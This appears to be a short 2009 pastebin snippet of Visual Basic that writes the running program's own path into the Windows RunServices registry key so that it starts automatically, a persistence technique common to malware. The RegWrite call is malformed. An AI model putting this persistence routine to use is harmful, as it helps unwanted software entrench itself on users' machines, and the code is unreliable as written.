h7labscom
By: a guest | Nov 8th, 2009 | Syntax:
VisualBasic | Size: 0.37 KB | Hits: 65 | Expires: Never
Public Sub starter()
Dim Reg As Object
Set Reg = CreateObject("wscript.shell") 'This code and the code below writes this "program" to the reigstry
Reg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNSERVICES\" & App.Path & "\" & App.EXEName & ".exe"'This code would place file wherever depending on path. After, name watever ext. '.exe'
End Sub